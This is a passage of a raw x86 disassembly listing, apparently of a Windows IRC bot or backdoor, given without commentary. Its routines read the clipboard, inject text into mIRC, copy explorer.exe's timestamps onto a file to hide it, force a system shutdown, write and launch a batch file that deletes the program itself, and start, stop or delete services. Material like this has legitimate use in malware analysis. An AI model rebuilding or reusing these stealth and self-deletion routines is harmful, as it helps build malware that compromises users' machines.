		jz	short loc_40714E
		push	dword_43A564
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_416905
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 20h


loc_40714E:				; CODE XREF: sub_406E62+2BEj
		lea	eax, [ebp+var_200]
		push	offset aMainDllTestCom ; "[MAIN]: DLL test complete."
		push	eax
		call	sub_416905
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40717B
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 14h


loc_40717B:				; CODE XREF: sub_406E62+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401ECD
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406E62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40718D	proc near		; CODE XREF: sub_409806+A61p
					; sub_409806+A94p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	loc_407264
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	loc_407264
		cmp	[ebp+arg_8], esi
		jz	loc_407264
		cmp	byte ptr [eax],	0
		jz	loc_407264
		push	ebx
		push	edi
		call	sub_421887
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		jz	loc_40725F
		push	[ebp+arg_4]
		push	edi
		call	sub_4173D0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_407258
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_4169C0
		mov	eax, ebx
		sub	eax, edi
		add	esp, 0Ch
		and	byte ptr [eax+esi], 0
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]


loc_4071FA:				; CODE XREF: sub_40718D+72j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4071FA
		sub	eax, ecx
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_4167D0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		lea	ecx, [eax+1]


loc_407216:				; CODE XREF: sub_40718D+8Ej
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_407216
		sub	eax, ecx
		add	eax, esi
		mov	esi, eax


loc_407223:				; CODE XREF: sub_40718D+9Bj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_407223
		mov	edi, ebx
		sub	eax, esi
		dec	edi


loc_40722F:				; CODE XREF: sub_40718D+A8j
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_40722F
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	esi, [ebp+arg_0]
		mov	edx, esi
		mov	eax, ebx
		sub	edx, ebx


loc_40724E:				; CODE XREF: sub_40718D+C9j
		mov	cl, [eax]
		mov	[edx+eax], cl
		inc	eax
		test	cl, cl
		jnz	short loc_40724E


loc_407258:				; CODE XREF: sub_40718D+50j
		push	ebx
		call	sub_416C97
		pop	ecx


loc_40725F:				; CODE XREF: sub_40718D+3Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_407266
; ---------------------------------------------------------------------------


loc_407264:				; CODE XREF: sub_40718D+Cj
					; sub_40718D+17j ...
		xor	eax, eax


loc_407266:				; CODE XREF: sub_40718D+D5j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40718D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40726A	proc near		; CODE XREF: sub_40942B+C2p

var_7D0		= dword	ptr -7D0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	ecx, 1F4h
		lea	edi, [ebp+var_7D0]
		rep stosd
		mov	ecx, [ebp+arg_0]
		mov	eax, ecx
		lea	esi, [eax+1]


loc_40728D:				; CODE XREF: sub_40726A+28j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40728D
		sub	eax, esi
		xor	ebx, ebx
		mov	edi, eax
		inc	ebx
		cmp	edi, ebx
		jge	short loc_4072A4
		or	eax, 0FFFFFFFFh
		jmp	short loc_407304
; ---------------------------------------------------------------------------


loc_4072A4:				; CODE XREF: sub_40726A+33j
		xor	edx, edx
		test	edi, edi
		mov	[ebp+var_7D0], ecx
		jle	short loc_4072C4


loc_4072B0:				; CODE XREF: sub_40726A+58j
		mov	al, [edx+ecx]
		cmp	al, 0Ah
		jz	short loc_4072BB
		cmp	al, 0Dh
		jnz	short loc_4072BF


loc_4072BB:				; CODE XREF: sub_40726A+4Bj
		and	byte ptr [edx+ecx], 0


loc_4072BF:				; CODE XREF: sub_40726A+4Fj
		inc	edx
		cmp	edx, edi
		jl	short loc_4072B0


loc_4072C4:				; CODE XREF: sub_40726A+44j
		xor	esi, esi
		test	edi, edi
		jle	short loc_4072EE


loc_4072CA:				; CODE XREF: sub_40726A+82j
		cmp	byte ptr [esi+ecx], 0
		jnz	short loc_4072E9
		lea	edx, [esi+ecx+1]
		cmp	byte ptr [edx],	0
		jz	short loc_4072E9
		cmp	ebx, 1F4h
		jge	short loc_4072EE
		mov	[ebp+ebx*4+var_7D0], edx
		inc	ebx


loc_4072E9:				; CODE XREF: sub_40726A+64j
					; sub_40726A+6Dj
		inc	esi
		cmp	esi, edi
		jl	short loc_4072CA


loc_4072EE:				; CODE XREF: sub_40726A+5Ej
					; sub_40726A+75j
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	short loc_407302
		mov	ecx, 1F4h
		lea	esi, [ebp+var_7D0]
		rep movsd


loc_407302:				; CODE XREF: sub_40726A+89j
		mov	eax, ebx


loc_407304:				; CODE XREF: sub_40726A+38j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40726A	endp


; =============== S U B	R O U T	I N E =======================================



sub_407309	proc near		; CODE XREF: sub_4076B7+26p
					; sub_4076F4+79p

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41795A
		cmp	al, 61h
		pop	ecx
		jl	short loc_407324
		cmp	al, 7Ah
		jg	short loc_407324
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_407324:				; CODE XREF: sub_407309+Ej
					; sub_407309+12j
		xor	eax, eax
		retn
sub_407309	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407327	proc near		; CODE XREF: sub_409806+30CCp
					; sub_409806+3F75p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_422004	; RtlGetLastWin32Error
		push	0
		push	100h
		mov	esi, eax
		lea	eax, [ebp+var_100]
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_4220A8	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_407360:				; CODE XREF: sub_407327+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_40736C
		cmp	cl, 9
		jnz	short loc_40736F


loc_40736C:				; CODE XREF: sub_407327+3Ej
		inc	eax
		jmp	short loc_407360
; ---------------------------------------------------------------------------


loc_40736F:				; CODE XREF: sub_407327+43j
					; sub_407327+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_407389
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_40736F
		cmp	cl, 21h
		jl	short loc_40736F


loc_407389:				; CODE XREF: sub_407327+54j
		push	esi
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_0]
		mov	esi, offset dword_43A568
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_416B5D
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_407327	endp


; =============== S U B	R O U T	I N E =======================================



sub_4073B1	proc near		; CODE XREF: sub_409806+4C4Cp
		push	esi
		push	0
		call	dword_43A33C	; OpenClipboard
		test	eax, eax
		jz	short loc_4073E8
		push	1
		call	dword_43A4D4	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_4073E8
		push	edi
		push	esi
		call	dword_4220B0	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_4220AC	; GlobalUnlock
		call	dword_43A320	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4073E8:				; CODE XREF: sub_4073B1+Bj
					; sub_4073B1+19j
		xor	eax, eax
		pop	esi
		retn
sub_4073B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4073EC	proc near		; CODE XREF: sub_409806+3DE3p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		push	esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	edi
		call	dword_43A3F8	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_407468
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_4220BC	; CreateFileMappingA
		push	esi
		push	esi
		push	esi
		mov	edi, eax
		push	0F001Fh
		push	edi
		call	dword_4220B8	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_416905
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_43A464	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_43A464	; SendMessageA
		push	ebx
		call	dword_4220B4	; UnmapViewOfFile
		push	edi
		call	dword_42202C	; CloseHandle
		xor	eax, eax
		inc	eax
		pop	ebx
		jmp	short loc_40746A
; ---------------------------------------------------------------------------


loc_407468:				; CODE XREF: sub_4073EC+16j
		xor	eax, eax


loc_40746A:				; CODE XREF: sub_4073EC+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4073EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40746E	proc near		; CODE XREF: sub_40FAD0+21Ep

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	esi
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_11C]
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_43A3BC	; SearchPathA
		test	eax, eax
		jz	short loc_40750F
		push	ebx
		push	edi
		push	esi
		mov	edi, 80h
		push	edi
		push	3
		push	esi
		mov	esi, dword_422034
		push	1
		push	80000000h
		lea	eax, [ebp+var_11C]
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40750D
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_4220C4	; GetFileTime
		push	ebx
		mov	ebx, dword_42202C
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40750D
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4220C0	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_40750D:				; CODE XREF: sub_40746E+51j
					; sub_40746E+87j
		pop	edi
		pop	ebx


loc_40750F:				; CODE XREF: sub_40746E+28j
		pop	esi
		leave
		retn
sub_40746E	endp


; =============== S U B	R O U T	I N E =======================================



sub_407512	proc near		; CODE XREF: sub_409806+117Ap
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_408C9C
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_43A43C	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_407512	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407534	proc near		; CODE XREF: sub_402C2F+495p
					; sub_409806+4EFFp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	ebx
		xor	ebx, ebx
		cmp	dword_42FCD0, ebx
		push	esi
		jz	short loc_407558
		cmp	dword_43A508, ebx
		jnz	short loc_407558
		push	ebx
		call	sub_40210D
		pop	ecx


loc_407558:				; CODE XREF: sub_407534+13j
					; sub_407534+1Bj
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_4220D0	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_416905
		add	esp, 0Ch
		push	ebx
		push	ebx
		push	2
		push	ebx
		push	ebx
		push	40000000h
		lea	eax, [ebp+var_260]
		push	eax
		call	dword_422034	; CreateFileA
		mov	esi, eax
		cmp	esi, ebx
		jbe	loc_4076B3
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_416905
		lea	eax, [ebp+var_764]
		add	esp, 0Ch
		lea	edx, [eax+1]


loc_4075CB:				; CODE XREF: sub_407534+9Cj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_4075CB
		push	edi
		push	ebx
		lea	ecx, [ebp+var_4]
		push	ecx
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	esi
		call	dword_422030	; WriteFile
		push	esi
		call	dword_42202C	; CloseHandle
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		push	11h
		stosd
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_58]
		rep stosd
		mov	esi, 104h
		push	esi
		lea	eax, [ebp+var_15C]
		push	eax
		push	ebx
		mov	[ebp+var_4C], 422B0Ah
		mov	[ebp+var_58], 44h
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], bx
		call	dword_4220A4	; GetModuleHandleA
		push	eax
		call	dword_42200C	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_4220A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		pop	edi
		jz	short loc_40765C
		push	80h
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_4220CC	; SetFileAttributesA


loc_40765C:				; CODE XREF: sub_407534+114j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_416905
		add	esp, 10h
		push	esi
		lea	eax, [ebp+var_364]
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_4220C8	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	ebx
		push	ebx
		push	4010h
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_364]
		push	eax
		push	ebx
		call	dword_422044	; CreateProcessA


loc_4076B3:				; CODE XREF: sub_407534+6Dj
		pop	esi
		pop	ebx
		leave
		retn
sub_407534	endp


; =============== S U B	R O U T	I N E =======================================



sub_4076B7	proc near		; CODE XREF: sub_4076F4+41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		rep stosd
		lea	edi, [eax-1]
		xor	esi, esi
		test	edi, edi
		jl	short loc_4076F1
		push	ebx
		mov	ebx, edi


loc_4076D4:				; CODE XREF: sub_4076B7+37j
		mov	eax, [esp+0Ch+arg_0]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_407309
		pop	ecx
		mov	ecx, [esp+0Ch+arg_8]
		inc	esi
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_4076D4
		pop	ebx


loc_4076F1:				; CODE XREF: sub_4076B7+18j
		pop	edi
		pop	esi
		retn
sub_4076B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076F4	proc near		; CODE XREF: sub_401FAD+10p
					; sub_401FDF+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_416B20
		mov	eax, [ebp+arg_0]
		lea	edx, [eax+1]


loc_407707:				; CODE XREF: sub_4076F4+18j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_407707
		sub	eax, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+1]


loc_407719:				; CODE XREF: sub_4076F4+2Aj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_407719
		push	ebx
		push	esi
		sub	eax, ecx
		mov	esi, eax
		push	edi
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_4076B7
		add	esp, 0Ch
		dec	esi
		mov	edi, esi
		jmp	short loc_4077B6
; ---------------------------------------------------------------------------


loc_407742:				; CODE XREF: sub_4076F4+C4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41795A
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41795A
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_4077B4


loc_407764:				; CODE XREF: sub_4076F4+BEj
		mov	ebx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edi+ebx]
		push	eax
		call	sub_407309
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_407787
		mov	eax, ecx


loc_407787:				; CODE XREF: sub_4076F4+8Fj
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_4077C4
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41795A
		movsx	ecx, byte ptr [edi+ebx]
		push	ecx
		mov	[ebp+var_8], eax
		call	sub_41795A
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_407764


loc_4077B4:				; CODE XREF: sub_4076F4+6Ej
		dec	edi
		dec	esi


loc_4077B6:				; CODE XREF: sub_4076F4+4Cj
		test	esi, esi
		jg	short loc_407742
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_4077BF:				; CODE XREF: sub_4076F4+D2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4077C4:				; CODE XREF: sub_4076F4+98j
		xor	eax, eax
		jmp	short loc_4077BF
sub_4076F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4077C8	proc near		; CODE XREF: sub_4082A9+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		push	0F003Fh
		xor	ebx, ebx
		push	ebx
		push	ebx
		call	dword_43A460	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_4077EF
		call	dword_422004	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_407864
; ---------------------------------------------------------------------------


loc_4077EF:				; CODE XREF: sub_4077C8+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_43A4E0	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40780F
		call	dword_422004	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_40785C
; ---------------------------------------------------------------------------


loc_40780F:				; CODE XREF: sub_4077C8+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_407842
		cmp	eax, 3
		jz	short loc_407833
		jle	short loc_407855
		cmp	eax, 6
		jg	short loc_407855
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_43A484	; ControlService
		jmp	short loc_407849
; ---------------------------------------------------------------------------


loc_407833:				; CODE XREF: sub_4077C8+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_43A468	; StartServiceA
		jmp	short loc_407849
; ---------------------------------------------------------------------------


loc_407842:				; CODE XREF: sub_4077C8+4Dj
		push	esi
		call	dword_43A390	; DeleteService


loc_407849:				; CODE XREF: sub_4077C8+69j
					; sub_4077C8+78j
		test	eax, eax
		jnz	short loc_407855
		call	dword_422004	; RtlGetLastWin32Error
		mov	ebx, eax


loc_407855:				; CODE XREF: sub_4077C8+54j
					; sub_4077C8+59j ...
		push	esi
		call	dword_43A3CC	; CloseServiceHandle


loc_40785C:				; CODE XREF: sub_4077C8+45j
		push	edi
		call	dword_43A3CC	; CloseServiceHandle
		pop	esi


loc_407864:				; CODE XREF: sub_4077C8+25j
		pop	edi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_4077C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40786A	proc near		; CODE XREF: sub_4082A9:loc_4082F1p
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40791B
		jz	loc_407914
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_4078DE
		jz	short loc_4078D4
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_4078CA
		dec	ecx
		dec	ecx
		jz	short loc_4078C0
		dec	ecx
		jz	short loc_4078B6
		sub	ecx, 51h
		jz	short loc_4078AC
		sub	ecx, 24h
		jnz	loc_407991	; default
					; jumptable 00407938 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_407983
; ---------------------------------------------------------------------------


loc_4078AC:				; CODE XREF: sub_40786A+2Dj
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_407983
; ---------------------------------------------------------------------------


loc_4078B6:				; CODE XREF: sub_40786A+28j
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_407983
; ---------------------------------------------------------------------------


loc_4078C0:				; CODE XREF: sub_40786A+25j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_407983
; ---------------------------------------------------------------------------


loc_4078CA:				; CODE XREF: sub_40786A+21j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_407983
; ---------------------------------------------------------------------------


loc_4078D4:				; CODE XREF: sub_40786A+1Aj
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_407983
; ---------------------------------------------------------------------------


loc_4078DE:				; CODE XREF: sub_40786A+18j
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40790D
		dec	ecx
		jz	short loc_407906
		dec	ecx
		jz	short loc_4078FF
		dec	ecx
		jnz	loc_407991	; default
					; jumptable 00407938 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_407983
; ---------------------------------------------------------------------------


loc_4078FF:				; CODE XREF: sub_40786A+82j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_407983
; ---------------------------------------------------------------------------


loc_407906:				; CODE XREF: sub_40786A+7Fj
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_407983
; ---------------------------------------------------------------------------


loc_40790D:				; CODE XREF: sub_40786A+7Cj
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_407983
; ---------------------------------------------------------------------------


loc_407914:				; CODE XREF: sub_40786A+Dj
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_407983
; ---------------------------------------------------------------------------


loc_40791B:				; CODE XREF: sub_40786A+7j
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_407991 ; default
					; jumptable 00407938 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40797E
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_407991 ; default
					; jumptable 00407938 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_4079D2[ecx]
		jmp	off_4079AA[ecx*4] ; switch jump


loc_40793F:				; DATA XREF: .text:off_4079AAo
		push	offset aTheSpecifiedDa ; jumptable 00407938 case 7
		jmp	short loc_407983
; ---------------------------------------------------------------------------


loc_407946:				; CODE XREF: sub_40786A+CEj
					; DATA XREF: .text:off_4079AAo
		push	offset aTheServiceDepe ; jumptable 00407938 case 17
		jmp	short loc_407983
; ---------------------------------------------------------------------------


loc_40794D:				; CODE XREF: sub_40786A+CEj
					; DATA XREF: .text:off_4079AAo
		push	offset aTheServiceDe_0 ; jumptable 00407938 case 10
		jmp	short loc_407983
; ---------------------------------------------------------------------------


loc_407954:				; CODE XREF: sub_40786A+CEj
					; DATA XREF: .text:off_4079AAo
		push	offset aTheServiceHasB ; jumptable 00407938 case 0
		jmp	short loc_407983
; ---------------------------------------------------------------------------


loc_40795B:				; CODE XREF: sub_40786A+CEj
					; DATA XREF: .text:off_4079AAo
		push	offset aTheSpecified_0 ; jumptable 00407938 case 2
		jmp	short loc_407983
; ---------------------------------------------------------------------------


loc_407962:				; CODE XREF: sub_40786A+CEj
					; DATA XREF: .text:off_4079AAo
		push	offset aTheServiceCoul ; jumptable 00407938 case 11
		jmp	short loc_407983
; ---------------------------------------------------------------------------


loc_407969:				; CODE XREF: sub_40786A+CEj
					; DATA XREF: .text:off_4079AAo
		push	offset aTheServiceHa_0 ; jumptable 00407938 case 14
		jmp	short loc_407983
; ---------------------------------------------------------------------------


loc_407970:				; CODE XREF: sub_40786A+CEj
					; DATA XREF: .text:off_4079AAo
		push	offset aTheRequested_1 ; jumptable 00407938 case 3
		jmp	short loc_407983
; ---------------------------------------------------------------------------


loc_407977:				; CODE XREF: sub_40786A+CEj
					; DATA XREF: .text:off_4079AAo
		push	offset aTheServiceHasN ; jumptable 00407938 case 4
		jmp	short loc_407983
; ---------------------------------------------------------------------------


loc_40797E:				; CODE XREF: sub_40786A+BAj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_407983:				; CODE XREF: sub_40786A+3Dj
					; sub_40786A+47j ...
		push	offset dword_43A768
		call	sub_416905
		pop	ecx
		pop	ecx
		jmp	short loc_4079A4
; ---------------------------------------------------------------------------


loc_407991:				; CODE XREF: sub_40786A+32j
					; sub_40786A+85j ...
		push	eax		; default
					; jumptable 00407938 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset dword_43A768
		call	sub_416905
		add	esp, 0Ch


loc_4079A4:				; CODE XREF: sub_40786A+125j
		mov	eax, offset dword_43A768
		retn
sub_40786A	endp

; ---------------------------------------------------------------------------
off_4079AA	dd offset loc_407954	; DATA XREF: sub_40786A+CEr
		dd offset loc_40795B	; jump table for switch	statement
		dd offset loc_407970
		dd offset loc_407977
		dd offset loc_40793F
		dd offset loc_40794D
		dd offset loc_407962
		dd offset loc_407969
		dd offset loc_407946
		dd offset loc_407991
byte_4079D2	db	0,     9,     1,     2 ; DATA XREF: sub_40786A+C7r
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4079E4	proc near		; CODE XREF: sub_409806+1F19p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_43A460	; OpenSCManagerA
		push	ebx
		push	[ebp+arg_8]
		mov	[ebp+var_C], eax
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 14h


loc_407A1C:				; CODE XREF: sub_4079E4+123j
